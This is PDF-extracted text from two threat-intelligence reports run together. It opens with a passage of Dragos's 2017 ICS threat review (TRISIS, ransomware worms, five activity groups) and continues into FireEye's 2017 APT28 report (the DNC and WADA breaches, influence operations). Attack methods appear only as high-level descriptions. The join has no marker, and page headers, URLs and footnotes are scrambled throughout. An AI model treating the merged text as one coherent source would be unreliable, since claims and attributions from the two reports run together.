Although extremely concerning both as an attack and as an extension of ICS operations  to cover SIS devices, TRISIS represents a highly-targeted threat Specifically, TRISIS is designed to target a specific variant of Triconex systems Additionally, an adversary would need to achieve extensive  access  to and penetration of a target ICS network to be in a position to deliver a TRISIS-like attack While TRISIS is profoundly concerning and represents a significant new risk for defenders to manage, TRISIS-like attacks require substantial investments in both capability development and network access before adversary success.
While ICS defenders and asset owners should note the above regarding TRISIS immediate impact, in the longer- term TRISIS is likely to have a concerning effect on the ICS security space.
Specifically, while TRISIS itself is not portable to any environment outside of the specific product targeted in the attack, the TRISIS tradecraft has created a blueprint for adversaries to follow concerning SIS attacks.
This is not bound to any specific vendor and vendors such as ABB maturely and rightfully stated that similar styled attacks could equally impact their products.
Furthermore, the very extension of ICS network attack to SIS devices sets a worrying precedent as these critical systems now become an item for adversary targeting.
https://dragos.com https://dragos.com http://twitter.com/dragosinc 09Dragos, Inc     www dragos com    DragosInc    version 1 0 DISRUPTIVE IT MALWARE IT malware infecting and causing issues in operational networks is  not  a  new phenomenon.
Tracking the metrics related to these infections has always been  difficult  due to collection issues from these environments.
This led to very low metrics, such as the ICS- CERTs consistent 200 incidents each year, to very high metrics including some vendors claiming upwards of 500,000 infections a year.
For this reason, Dragos  created  the Malware  in Modern ICS (MIMICS) project in late 2016 and running through  early  2017.3  The  research performed a census-styled metrics count of infections in ICS networks and identified around 3,000 unique industrial infections during the research period.
This  led to the estimate of around 6,000 unique infections in industrial environments every year including various types of viruses, trojans, and worms.
While any of these infections could cause issues in operational environments none represented the type of disruption that would come from the latest generation of ransomware worms.
WannaCry appeared in May 2017 following the weaponization of the MS17-010 vulnerability in the Microsoft Server Message Block (SMB) protocol (EterenalBlue), released as part of the Shadow Brokers continual leak of alleged National Security Agency hacking tools.
WannaCry itself was a form of ransomware designed to self-propagate via  the MS17-0104 vulnerability, resulting in not only a quick spread globally but also the systematic infection of networks due to the malwares wormable nature.
https://dragos.com/blog/mimics/ https://docs.microsoft.com/en-us/security- updates/securitybulletins/2017/ms17-010 3 4 https://dragos.com https://dragos.com http://twitter.com/dragosinc https://dragos.com/blog/mimics/ https://docs.microsoft.com/en-us/security- Dragos, Inc.    www.dragos.com    DragosInc    version 1.0 10 While ransomware is typically  not  a  concern for ICS defenders, WannaCry challenged the traditional view due to its self- propagating method exploiting a common ICS communication mechanism (SMB) Various data transfer functions, such as moving data from the ICS network (e.g., historians) to the business network for business intelligence purposes, rely upon SMB for functionality.
Combined with poor patch management and enabling older, vulnerable forms of SMB  instead of the newer SMB version 3 variant, hosts within the ICS network were not only reachable through pre-existing connections to the IT network but vulnerable as well.
The result of the above circumstances was WannaCry spreading into and impacting ICS environments, including automotive manufacturers and shipping companies.
The impact to operations from system loss due to encryption certainly varies, but in ICS environments the damage potential is significant regarding lost production and capability.
Furthermore, WannaCry was not the only ransomware type to implement worm-like functionality, with additional malware NotPetya and BadRabbit emerging over the course of 2017.
Of these, NotPetya was especially concerning for several  reasons: first, it included multiple means of propagation through credential capture and re- use aside from relying solely on the MS17- 010 vulnerability second, the malware was effectively a wiper as encrypted filesystems could not be recovered.
Although initially targeting Ukrainian enterprises, NotPetya  soon spread to many organizations resulting  in significant system impacts and, in several documented cases, production losses in ICS environments.
Although not targeted at ICS environments, the impact of WannaCry and related malware demonstrates the capability for IT-focused malware to migrate into ICS environments.
While patching may not be a viable solution for ICS defenders in cases such as MS17-010, strengthening and hardening defenses at porous boundaries could help.
http://www.dragos.com Dragos, Inc.    www.dragos.com    DragosInc    version 1.0 11 Dragos tracks and organizes related threat activity as activity groups: essentially, combinations of behavior or techniques, infrastructure, and victimology.5  This process avoids the potentially messy and hard-to- prove traditional attribution route  aligning activity to specific actors or nation-states while also providing concrete benefits to defenders by organizing observed attackers into collections of identified actions.
Within the scope of ICS network defense, Dragos currently tracks five activity groups that have either demonstrated  the capability to attack ICS networks directly or have displayed an interest in reconnaissance and gaining initial access into ICS-specific entities.
ACTIVITY GROUPS The concept of activity groups comes from The Diamond Model of Intrusion Analysis: http://www.diamondmodel.org/5 http://www.dragos.com http://www.diamondmodel.org/ 12Dragos, Inc     www dragos com    DragosInc    version 1 0 ELECTRUM is responsible for the 2016 Ukrainian   power   outage   event,   created through CRASHOVERRIDE.
In addition to this signature,  high-profile  event,  Dragos has linked ELECTRUM with another group, the SANDWORM Advanced Persistent Threat (APT) (iSight), responsible for the 2015 Ukrainian outage.
ELECTRUM previously served as the development group facilitating some SANDWORM activity including possibly the 2015  Ukrainian  power  outage    but   moved into a development  and  operational  role  in the CRASHOVERRIDE event.
While ELECTRUM does not have any other high-profile events to its name as of this writing, Dragos has continued to track on- going, low-level activity associated with the group.
Most notably, 2017 did not witness another Ukrainian power grid event, unlike the previous two years.
Based on available information, ELECTRUM remains active, but evidence indicates the group may have moved on from its previous focus exclusively on Ukraine.
While past ELECTRUM activity has focused exclusively on Ukraine, ongoing activity and the groups link to SANDWORM provide sufficient evidence for Dragos to assess that ELECTRUM could be re-tasked to other areas depending on the focus of their sponsor.
Given ELECTRUMs past activity and ability to successfully operate within the ICS environment, Dragos considers them  to be one of the most significant and capable threat actors within the ICS space ELECTRUM https://dragos.com https://dragos.com http://twitter.com/dragosinc 13Dragos, Inc     www dragos com    DragosInc    version 1 0 COVELLITE First emerged in September 2017, when Dragos identified a small, but highly targeted, phishing campaign against a US electric grid company  The phishing document and  subsequent  malware     embedded within a malicious Microsoft Word document  both featured numerous techniques  to  evade analysis and detection  Although the attack identified is particular to the  one targeted entity, Dragos soon uncovered attacks with varying degrees of similarity spanning Europe, North America, and East Asia Common  to all of these observed COVELLITE-related instances was the use of similar malware functionality, including the use of HTTPS for command and control (C2), and the use of compromised infrastructure as C2 nodes As Dragos continued tracking this group, we identified  similarities  in  both infrastructure and malware with the LAZARUS GROUP APT6 (Novetta), also referred to as ZINC (Microsoft), and HIDDEN COBRA (DHS).
This activity group has variously been associated with destructive attacks against Sony Pictures7 and to bitcoin theft incidents in 2017.8 While  Dragos  does  not comment on or perform traditional nation-state attribution, the combination of technical ability plus the willingness to launch destructive attacks displayed by the  linked group LAZARUS make COVELLITE an actor of significant interest.
Dragos has yet to identify another grid- specific targeting event since September 2017 although similar malware and related activity continue.
Finally, noted capabilities thus far would only suffice for initial network access and reconnaissance of a target network  COVELLITE has not used or shown evidence of an ICS-specific capability.
COVELLITE https://www.novetta.com/tag/the-lazarus-group/ http://www.novetta.com/2016/02/operation-blockbuster-unraveling-the-long-thread-of-the-sony-attack/ https://www.recordedfuture.com/north- korea-cryptocurrency-campaign/ 6 7 8 https://dragos.com https://dragos.com http://twitter.com/dragosinc https://www.novetta.com/tag/the-lazarus-group/ http://www.novetta.com/2016/02/operation-blockbuster-unraveling-the-long-thread-of-the-sony-attack/ https://www.recordedfuture.com/north- 14Dragos, Inc     www dragos com    DragosInc    version 1 0 Dragos began tracking the activity group we refer to as DYMALLOY in response to Symantecs Dragonfly 2.0 report.
Importantly, Dragos found a significant reason to doubt an association to the legacy Dragonfly ICS actor with the newly-identified activity.
Dragonfly was originally active from 2011 to 2014 and utilized a combination of phishing, strategic website compromise, and creating malicious variants of legitimate software to infiltrate ICS targets.
Once access was gained, Dragonflys HAVEX9 malware leveraged OPC communications to perform survey and reconnaissance activities within the affected networks.
Although no known destructive attacks emerged from these events, Dragonfly proved itself to be a capable, knowledgeable entity able to penetrate and operate  within ICS networks DYMALLOY is only superficially similar to Dragonfly, in that the group utilized phishing and strategic website compromises for initial access However, even at this stage, DYMALLOY employed credential harvesting techniques by triggering a remote authentication attempt to attacker- controlled infrastructure, significantly different from the exploits deployed by Dragonfly  All subsequent activity shows dramatic  changes in TTPs between the groups, such as differences between  the  content  and targeting of the phishing messages, and the outbound SMB connections DYMALLOY The Impact of Dragonfly Malware on Industrial Control Systems  SANS Institute Whitepaper9 https://dragos.com https://dragos.com http://twitter.com/dragosinc 15Dragos, Inc     www dragos com    DragosInc    version 1 0 Although DYMALLOY does not appear to be linked with Dragonfly, or at least not directly, the group remains a threat to ICS owners Starting in late 2015 and proceeding through early 2017, DYMALLOY was able to successfully compromise multiple ICS targets in Turkey, Europe, and North America.
Dragos has also learned that, while the  group  does not appear to have a capability equivalent to Dragonflys HAVEX malware, the group was able to penetrate the ICS network of several organizations, gain access to HMI devices, and exfiltrate screenshots.
While less technically sophisticated than HAVEX, such activity shows clear ICS intent and knowledge of what information could be valuable to an attacker either to steal information on process functionality in the target environment or to gather  information  for  subsequent operations.
Since Symantecs public reporting, followed by additional US-CERT notifications several weeks later, Dragos has not identified any additional DYMALLOY activity.
While analysts found some traces of DYMALLOY-related malware in mid-2017, no artifacts or evidence suggesting DYMALLOY operations appear since early 2017.
Given the publicity, Dragos assesses with medium confidence that DYMALLOY has reduced operations or significantly modified them in response to security researcher and media attention.
https://dragos.com https://dragos.com http://twitter.com/dragosinc 16Dragos, Inc     www dragos com    DragosInc    version 1 0 CHRYSENE is an evolution of on-going activity which initially focused on targets in the Persian or Arabian Gulf  CHRYSENE emerged as an off-shoot to espionage operations  as well as potential preparation actions before destructive attacks such as SHAMOON10  that focused mostly on the Gulf area generally,  and Saudi Arabia specifically  CHRYSENE differs from past activity in that it utilizes a unique variation of a malware framework employed by other groups such as Greenbug (Symantec) and OilRig (Palo Alto Networks), with a very particular C2 technique reliant upon IPv6 DNS and the use of 64-bit malware Where CHRYSENE mostly differentiates itself is in targeting: all observed CHRYSENE activity focuses on Western Europe, North America, Iraq, and Israel  CHRYSENE targets oil and gas and electric generation industries primarily within these regions  This activity first emerged in mid-2017 and has continued at a steady state since While CHRYSENEs malware features notable enhancements  over  related  threat groups  using similar tools, Dragos has  not  yet observed an ICS-specific capability employed by this activity group.
Instead, all activity thus far appears to focus on IT penetration and espionage, with all targets being ICS-related organizations.
Although CHRYSENE conducts no known ICS disruption, the  continued  activity and expansion in targeting make this group a concern that  Dragos  continues  to track.
CHRYSENE http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm-disquiets-us.html10 https://dragos.com https://dragos.com http://twitter.com/dragosinc http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm-disquiets-us.html 17Dragos, Inc     www dragos com    DragosInc    version 1 0 DRAGOS  began tracking MAGNALLIUM in response to public  reporting by  another security company on a group identified as APT33 (FireEye) The press initially treated MAGNALLIUM as a significant threat to ICS and critical infrastructure  A subsequent investigation by Dragos indicated that all of this groups activity focused on Saudi Arabia, specifically government- run or -owned enterprises in petrochemicals  and the  aerospace industry While the group targets organizations which contain ICS, the lack of an ICS- specific capability combined with the groups very narrow targeting profile make this less of a concern We continue to monitor MAGNALLIUM to determine if targeting changes, or if this groups actions splinter resulting in new, out of area operations, as observed with CHRYSENE.
MAGNALLIUM https://dragos.com https://dragos.com http://twitter.com/dragosinc www dragos com DRAGOS, INC.
1745 DORSEY ROAD HANOVER, MD 21076 USA EMAIL: INFODRAGOS.COM http://www.dragos.com mailto:infodragos.com A YEAR IN THREATS INDUSTRIAL CONTROL SYSTEM THREATS 2017 ICS THREAT REVIEW 2017 ICS THREATS A SUMMARY NEW ICS FOCUSED MALWARE Traditional IT Malware Crippling Operational Networks Adversaries Staying Busy: ICS-Focused Activity RECOMMENDATIONS ics threats CRASHOVERRIDE TRISIS Disruptive IT Malware ACTIVITY GROUPS ELECTRUM COVELLITE DYMALLOY CHRYSENE MAGNALLIUM A YEAR IN THREATS 01 A YEAR IN THREATS 01 INDUSTRIAL CONTROL SYSTEM THREATS 02 2017 ICS THREAT REVIEW 2017 ICS THREATS 0
FIREEYE iSIGHT INTELLIGENCE RUSSIA STRATEGICALLY EVOLVES ITS CYBER OPERATIONS APT28: AT THE CENTER OF THE STORM SPECIAL REPORT / JANUARY 2017 SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM i CONTENTS Introduction 1 Overview 2 APT28 Targeting And Intrusion Activity 3 Table 1 - APT28 Targeting of Political Entities and Intrusion Activity 4 Table 2 - APT28 Network Activity Has Likely Supported Information Operations  5 From Olympic Slight to Data Leak: Investigating APT28 at the World Anti-Doping Agency 6 Conclusion 8 Appendix 9 The Democratic National Committees (DNC) June 2016 announcement attributing its network breach to the Russian Government triggered an international debate over Russias sponsorship of information operations against the U.S. INTRODUCTION At issue is the question of proof: did the Russian Government direct the group responsible for the breaches and related data leaks?
If so, is this simply a matter of accepted state espionage, or did it cross a line?
Was the DNC breach part of a concerted effort by the Russian Government to interfere with the U.S. presidential election?
Unfortunately, we have failed to ask the most consequential question: how will Russia continue to employ a variety of methods, including hacks and leaks, to undermine the institutions, policies, and actors that the Russian Government perceives as constricting and condemning its forceful pursuit of its state aims?
Our visibility into the operations of APT28 - a group we believe the Russian Government sponsors - has given us insight into some of the governments targets, as well as its objectives and the activities designed to further them.
We have tracked and profiled this group through multiple investigations, endpoint and network detections, and continuous monitoring.
Our visibility into APT28s operations, which date to at least 2007, has allowed us to understand the groups malware, operational changes, and motivations.
This intelligence has been critical to protecting and informing our clients, exposing this threat, and strengthening our confidence in attributing APT28 to the Russian Government.
SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 1 SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 2 OVERVIEW On December 29, 2016, the Department of Homeland Security (DHS) and Federal Bureau of Investigation (FBI) released a Joint Analysis Report confirming FireEyes long held public assessment that the Russian Government sponsors APT28.
Since at least 2007, APT28 has engaged in extensive operations in support of Russian strategic interests.
The group, almost certainly compromised of a sophisticated and prolific set of developers and operators, has historically collected intelligence on defense and geopolitical issues.
APT28 espionage activity has primarily targeted entities in the U.S., Europe, and the countries of the former Soviet Union, including governments and militaries, defense attaches, media entities, and dissidents and figures opposed to the current Russian Government.
Over the past two years, Russia appears to have increasingly leveraged APT28 to conduct information operations commensurate with broader strategic military doctrine.
After compromising a victim organization, APT28 will steal internal data that is then leaked to further political narratives aligned with Russian interests.
To date these have included the conflict in Syria, NATO-Ukraine relations, the European Union refugee and migrant crisis, the 2016 Olympics and Paralympics Russian athlete doping scandal, public accusations regarding Russian state-sponsored hacking, and the 2016 U.S. presidential election.
This report details our observations of APT28s targeting, and our investigation into a related breach.
We also provide an update on shifts in the groups tool development and use, and summarize the tactics APT28 employs to compromise its victims.
SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 3 APT28 TARGETING AND INTRUSION ACTIVITY In October 2014, FireEye released APT28: A Window into Russias Cyber Espionage Operations?,
and characterized APT28s activity as aligning with the Russian Governments strategic intelligence requirements.
While tracking APT28, we noted the groups interest in foreign governments and militaries, particularly those of European and Eastern European nations, as well as regional security organizations, such as the North Atlantic Treaty Organization (NATO) and the Organization for Security and Cooperation in Europe (OSCE), among others.
Table 1 highlights some recent examples of this activity.
SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 4 1.
Gauquelin, Blaise.
La Russie souponne dtre responsable dun piratage informatique contre lOSCE.
Le Monde.
28 Dec. 2016.
Web.
29 Dec. 2016.
2.
Trend Micro refers to activity corresponding to FireEyes APT28 as Pawn Storm.
3.
Hacquebord Feike.
Pawn Storm Targets German Christian Democratic Union.
Trend Micro.
11 May 2016.
Web.
29 Dec. 2016.
4.
Hacquebord Feike.
Pawn Storms Domestic Spying Campaign Revealed Ukraine and US Top Global Targets.
TrendLabs Security Intelligence Blog, Trend Micro.
18 August 2015.
Web.
29 Dec.  2016.
5.
Neuer Hackerangriff auf Bundespolitiker / BSI warnt Parteien vor Cyberangriffen.
Westdeutscher Rundfunk.
20 Sept. 2016.
Web.
29 Dec. 2016.
6.
Russia was Behind German Parliament Hack.
The BBC.
13 May 2016.
Web.
29 Dec. 2016.
7, Kharouni, Loucif.
et al.
Operation Pawn Storm: Using Decoys to Evade Detection.
Trend Micro.
22 Oct. 2014.
Web.
3 Jan. 2017.
TABLE 1 : APT28 TARGETING OF POLITICAL ENTITIES AND INTRUSION ACTIVITY ENTIT Y TIMEFRAME APT28 TARGETING AND INTRUSION ACTIVIT Y OSCE NOVEMBER 2016 The OSCE confirmed that it had suffered an intrusion, which a Western intelligence service attributed to APT28.1 Germanys Christian Democratic Union (CDU) APRIL - MAY 2016 Researchers at Trend Micro observed APT28  establish a fake CDU email server and launch phishing emails against CDU members in an attempt to obtain their email credentials and access their accounts.2,3 Pussy Riot AUGUST 2015 APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails.4 NATO, Afghan Ministry of Foreign Affairs, Pakistani Military JULY 2015 APT28 used two domains (nato-news.com and bbc-news.org) to host an Adobe Flash zero-day exploit to target NATO, the Afghan Ministry of Foreign Affairs, and the Pakistani military.
German Bundestag Political Parties JUNE 2015 Germanys Federal Office for Security in Information Technology (BSI) announced that APT28 was likely responsible for the spear phishing emails sent to members of several German political parties.
The head of Germanys domestic intelligence agency, Bundesamt fr Ver- fassungsschutz (BfV), also attributed the June 2015 compromise of the Bundestags networks to APT28.5,6 Kyrgyzstan Ministry of Foreign Affairs OCTOBER 2014 THROUGH SEPTEMBER 2015 FireEye iSight Intelligence identified changes made to domain name server (DNS) records that suggest that APT28 intercepted email traf- fic from the Kyrgyzstan Ministry of Foreign Affairs after maliciously modifying DNS records of the ministrys authoritative DNS servers.
Polish Government  Power Exchange websites JUNE AND SEPTEMBER 2014 APT28 employed Sedkit in conjunction with strategic web compro- mises to deliver Sofacy malware on Polish Government websites, and the websites of Polish energy company Power Exchange.7 SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 5 TABLE 2 : APT28 NETWORK ACTIVITY HAS LIKELY SUPPORTED INFORMATION OPERATIONS Since 2014, APT28 network activity has likely supported information operations designed to influence the domestic politics of foreign nations.
Some of these operations have involved the disruption and defacement of websites, false flag operations using false hacktivist personas, and the theft of data that was later leaked publicly online.
Table 2 highlights incidents in which victims suffered a compromise that FireEye iSIGHT Intelligence, other authorities, or the victims themselves later attributed to the group we track as APT28.
All of these operations have aimed to achieve a similar objective: securing a political outcome beneficial to Russia.
VICTIM TIMEFRAME APT28 NETWORK ACTIVIT Y ASSOCIATED INFORMATION OPERATIONS ACTIVIT Y World Anti-Doping Agency (WADA) SEPTEMBER 2016 On September 13, WADA confirmed that APT28 had compromised its networks and accessed athlete medical data.8 On September 12, 2016, the Fancy Bears Hack Team persona claimed to have compromised WADA and released athletes medical records as proof of American athletes taking dop- ing.9 U.S. Democratic National Committee (DNC) APRIL SEPTEMBER 2016 The DNC announced it had suffered a network compromise and that a subsequent investigation found evidence of two breaches, attributed to APT28 and APT29.
FireEye analyzed the mal- ware found on DNC networks and determined that it was consistent with our previous observa- tions of APT28 tools.10,11 In June 2016, shortly after the DNCs announcement, the Gu- ccifer 2.0 persona claimed responsibility for the DNC breach and leaked documents taken from the organizations network.
Guccifer 2.0 continued to leak batches of DNC documents through September.12,13 John Podesta MARCH NOVEMBER 2016 Investigators found that John Podesta, Hillary Clintons presidential campaign chairman, was one of thousands of individuals targeted in a mass phishing scheme using shortened URLs that security researchers attributed to APT28.14 Throughout October and into early November, WikiLeaks pub- lished 34 batches of email correspondence stolen from John Podestas personal email account.
Correspondence of other individuals targeted in the same phishing campaign, including former Secretary of State Colin Powell and Clinton campaign staffer William Rinehart, were published on the DC Leaks website.15 U.S. Democratic Congressional Campaign Committee (DCCC) MARCH - OCTOBER 2016 In July, the DCCC announced that it was investi- gating an ongoing cybersecurity incident that the FBI believed was linked to the compromise of the DNC.
House Speaker Nancy Pelosi later confirmed that the DCCC had suffered a network compromise.
Investigators indicated that the actors may have gained access to DCCC systems as early as March.16,17,18 In August, the Guccifer 2.0 persona contacted reporters cov- ering U.S. House of Representative races to announce newly leaked documents from the DCCC pertaining to Democratic candidates.
From August to October, Guccifer 2.0 posted sev- eral additional installments of what appear to be internal DCCC documents on his WordPress site.19,20 TV5Monde FEBRUARY 2015, APRIL 2015 In February, FireEye identified CORESHELL traffic beaconing from TV5Mondes network, confirming that APT28 had compromised TV- 5Mondes network.
In April 2015, alleged pro-ISIS hacktivist group CyberCaliphate defaced TV5Mondes websites and social media profiles and forced the companys 11 broadcast channels offline.
FireEye identified overlaps between the domain registration details of CyberCaliphates website and APT28 infrastructure.21 Ukrainian Central Election Commission (CEC) MAY 2014 Ukrainian officials revealed that the investigation into the compromise of the CECs internal net- work identified malware traced to APT28.22 During the May 2014 Ukrainian presidential election, purported pro-Russian hacktivists CyberBerkut conducted a series of mali- cious activities against the CEC including a system compromise, data destruction, a data leak, a distributed denial-of-service (DDoS) attack, and an attempted defacement of the CEC web- site with fake election results.23 8.
WADA Confirms Attack by Russian Cyber Espionage Group.
World Anti-Doping Agency.
13 Sept. 2016.
Web.
29 Dec. 2016.
9.
Fancy Bears HT (fancybears).
AnonPress Greetings.
We hacked WADA.
We have Proof of American Athletes taking doping.
Fancybear.net.
12 Sept. 2016, 4:12 PM.
Tweet.
10.
CrowdStrike refers to activity corresponding to FireEyes APT28 and APT29 as Fancy Bear and Cozy Bear, respectively.
11.
Nakashima, Ellen.
Cyber Researchers Confirm Russian Government Hack of Democratic National Committee.
The Washington Post.
20 June 2016.
Web.
29 Dec. 2016.
12.
Rid, Thomas.
All Signs Point to Russia Being Behind the DNC Hack.
Motherboard, Vice.
25 July 2016.
Web.
29 Dec. 2016.
13.
Bennett, Cory.
Guccifer 2.0 Drops More DNC Docs.
Politico.
13 Sept. 2016.
Web.
2 Jan. 2017.
14.
Perlroth, Nicole.
Shear, Michael D. Private Security Group Says Russia was Behind John Podestas Email Hack.
The New York Times.
21 Oct. 2016.
Web.
2 Jan. 2017.
15.
Franceschi-Bicchierai, Lorenzo.
How Hackers Broke Into John Podesta and Colin Powells Gmail Accounts.
20 Oct. 2016.
Web.
2 Jan. 2017.
16.
Nakashima, Ellen.
FBI Probes Suspected Breach of Another Democratic Organization by Russian Hackers.
The Washington Post.
29 July 2016.
Web.
29 Dec. 2016.
17.
Pelosi, Nancy.
DCCC Cyber Breach.
13 August 2016.
Email.
U.S. House of Representatives.
Washington, DC.
Politico.
Web.
29 Dec. 2016.
18.
Lipton, Eric.
Shane, Scott.
Democratic House Candidates Were Also Targets of Russian Hacking.
The New York Times.
13 Dec. 2016.
Web.
29 Dec. 2016.
19.
Ibid.
SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 6 FROM OLYMPIC SLIGHT TO DATA LEAK: Investigating APT28 at the World Anti-Doping Agency As news of the DNC breach spread, APT28 was preparing for another set of operations: countering the condemnation that Russia was facing after doping allegations and a threatened blanket ban of the Russian team from the upcoming Rio Games.
Russia, like many nations, has long viewed success in the Olympic Games as a source of national prestige and soft power on the world stage.
The doping allegations and prospective ban from the Games further ostracized Russia, and likely provided motivation to actively counter the allegations by attempting to discredit anti-doping agencies and policies.
Our investigation of APT28s compromise of WADAs network, and our observations of the surrounding events reveal how Russia sought to counteract a damaging narrative and delegitimize the institutions leveling criticism.
ALLEGATIONS OF RUSSIAN ATHLETES WIDESPREAD DOPING NOV (2015) WADA declares the Russian Anti-Doping Agency (RUSADA) non- compliant.24 JULY 18 WADA-commissioned report documents evidence of Russian athletes widespread doping.25 AUG 4 Russian athletes were barred from competing in the Olympic Games.26 APT28 COMPROMISES WADA EARLY AUG APT28 sends spear phishing emails to WADA employees.27 AUG 10 APT28 uses a legitimate user account belonging to a Russian athlete to log into WADAs Anti- Doping Administration and Management System (ADAMS) database.28 AUG 25-SEP 12 APT28 gains access to an International Olympic Committee account created specifically for the 2016 Olympic Games, and views and downloads athlete data.29 SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 7 Based on this timeline of leak and threatened leak activity, as well as strikingly similar characteristics and distribution methods shared between anpoland and Fancy Bears Hack Team, the same operators are highly likely behind the two personas.
WADA officials, citing evidence provided by law enforcement, stated that the threat activity originated in Russia, possibly in retaliation for WADAs exposure of Russias expansive, state-run doping.38 The statement prompted denials from the Russian Government, with Russian sports minister Vitaly Mutko asking, How can you prove that the hackers are Russian?
You blame Russia for everything, it is very in fashion now.39 20.
Gallagher, Sean.
Guccifer 2.0 Posts DCCC Docs, Says Theyre From Clinton Foundation.
Ars Technica.
4 Oct. 2016.
Web.
3 Jan. 2017.
21.
Russian Hackers Suspected in French TV Cyberattack.
Deutsche Welle.
6 Oct. 2015.
Web.
29 Dec. 2016.
22.
Joselow, Gabe.
Election Cyberattacks: Pro-Russia Hackers Have Been Accused in Past.
NBC News.
3 Nov. 2016.
Web.
29 Dec. 2016.
23.
Clayton, Mark.
Ukraine Election Narrowly Avoided Wanton Destruction From Hackers (Video).
The Christian Science Monitor.
17 June 2014.
Web.
2 Jan. 2017.
24.
Foundation Board Media Release: WADA Strengthens Anti-Doping Worldwide.
World Anti-Doping Agency.
18 November 2015.
25.
Russia State-Sponsored Doping Across Majority of Olympic Sports, Claims Report.
The BBC.
18 July 2016.
Web.
29 Dec. 2016.
26.
Macguire, Eoghan.
Almasy, Steve.
271 Russian Athletes Cleared for Rio Games.
CNN.
5 August 2016.
Web.
29 Dec. 2016.
27.
Cyber Security Update: WADAs Incident Response.
World Anti-Doping Agency.
5 Oct. 2016.
Web.
3 Jan. 2017.
28.
WADA Confirms Attack by Russian Cyber Espionage Group.
World Anti-Doping Agency.
13 Sept. 2016.
29.
WADA Confirms Another Batch of Athlete Data Leaked by Russian Cyber Hackers Fancy Bear.
World Anti-Doping Agency.
14 Sept. 2016.
Web.
29 Dec. 2016.
30.
[
OP PL].
www.tas-cas.org.
Online video clip.
YouTube.
YouTube, 9 Aug. 2016.
Web.
3 Jan. 2017.
31.
Anonymous Poland (anpoland).
Cryptomeorg ben_rumsby PogoWasRight Jason_A_Murdock Cyber_War_News kevincollier Tomorrow will ddos WADA and publish some secret dosc.
11 Aug 2016 10:10 AM.
Tweet.
32.
Anonymous Poland (anpoland).
JoeUchill within a few days will be new attack on the WADA/Olimpic.
5 Sept. 2016 5:19 AM.
Tweet.
33.
Fancy Bears HT (fancybears).
AnonPress Greetings.
We hacked WADA.
We have Proof of American Athletes taking doping.
Fancybear.net.
34.
Ibid.
35.
WADA Confirms Attack by Russian Cyber Espionage Group.
World Anti-Doping Agency.13 Sept. 2016.
36.
Russian Hackers Leak Simone Biles and Serena Williams Files.
The BBC.
13 Sept. 2016.
Web.
29 Dec. 2016.
37.
Rumsby, Ben.
US Superstars Serena and Venus Williams and Simone Biles Given Drugs Exemption, Russian Hackers Reveal.
The Telegraph.
14 Sept. 2016.
Web.
29 Dec. 2016.
38.
Luhn, Alec.
Fancy Bears Origins Unclear But Russia Seizes Chance to Put Boot into Wada.
15 Sept. 2016.
Web.
29 Dec. 2016.
39.
Gibson, Owen.
Russian Sports Minister Vitaly Mutko Denies Link to Wada Hackers.
The Guardian.
14 Sept. 2016.
Web.
29 Dec. 2016.
FALSE HACKTIVIST PERSONAS CLAIM TO TARGET WADA, LEAK ATHLETE DATA AUG 9 The actor anpoland, purporting to represent Anonymous Poland, claims to have defaced the WADA website.30 AUG 11 On August 11 anpoland threatens to conduct a DDoS attack against and leak data from WADA, but fails to follow through on the threats.31,32 SEP 12 Fancy Bears Hack Team, a previously unknown group purporting to be affiliated with Anonymous, claims via Twitter to have compromised WADA, and directs readers to a website hosting stolen documents.33 In tweets to international journalists and Twitter accounts that disseminate hacktivist and information security news, Fancy Bears Hack Team claims to have proof of American athletes taking doping.34 SEP 13 WADA releases a statement confirming the breach and attributes the compromise and theft of athlete medical data to APT28.35 SEP 15-30 Fancy Bears Hack Team releases five additional batches of medical files for high-profile athletes from multiple nations, including the U.S., which had applied for and received Therapeutic Use Exemptions (TUEs) for medications otherwise banned from competition.36 Claiming to support fair play and clean sport, Fancy Bears Hack team calls TUEs licenses for doping.37 Since releasing our 2014 report, we continue to assess that APT28 is sponsored by the Russian Government.
We further assess that APT28 is the group responsible for the network compromises of WADA and the DNC and other entities related to the 2016 U.S. presidential election cycle.
These breaches involved the theft of internal data - mostly emails that was later strategically leaked through multiple forums and propagated in a calculated manner almost certainly intended to advance particular Russian Government aims.
In a report released on January 7 2017, the U.S.
Directorate of National Intelligence described this activity as an influence campaign.
This influence campaign - a combination of network compromises and subsequent data leaks - aligns closely with the Russian militarys publicly stated intentions and capabilities.
Influence operations, also frequently called information operations, have a long history of inclusion in Russian strategic doctrine, and have been intentionally developed, deployed, and modernized with the advent of the internet.
The recent activity in the U.S. is but one of many instances of Russian Government influence operations conducted in support of strategic political objectives, and it will not be the last.
As the 2017 elections in Europe approach - most notably in Germany, France, and the Netherlands - we are already seeing the makings of similarly concerted efforts.
CONCLUSION SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 8 SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 9 In our 2014 report, we identified APT28 as a suspected Russian government-sponsored espionage actor.
We came to this conclusion in part based on forensic details left in the malware that APT28 had employed since at least 2007.
We have provided an updated version of those conclusions, a layout of the tactics that they generally employ, as well as observations of apparent tactical shifts.
For full details, please reference our 2014 report, APT28: A Window into Russias Cyber Espionage Operations?
APT28 employs a suite of malware with features indicative of the groups plans for continued operations, as well as the groups access to resources and skilled developers.
Key characteristics of APT28s toolset include: A flexible, modular framework that has allowed APT28 to consistently evolve its toolset since at least 2007.
Use of a formal coding environment in which to develop tools, allowing the group to create and deploy custom modules within its backdoors.
Incorporation of counter-analysis capabilities including runtime checks to identify an analysis environment, obfuscated strings unpacked at runtime, and the inclusion of unused machine instructions to slow analysis.
Code compiled during the normal working day in the Moscow time zone and within a Russian language build environment.
OVER 97 OF APT28S MALWARE SAMPLES WERE COMPILED DURING THE WORKING WEEK 88 OF SAMPLES COMPILED BETWEEN 8AM AND 6PM IN THE TIMEZONE THAT INCLUDES MAJOR RUSSIAN CITIES SUCH AS MOSCOW AND ST.
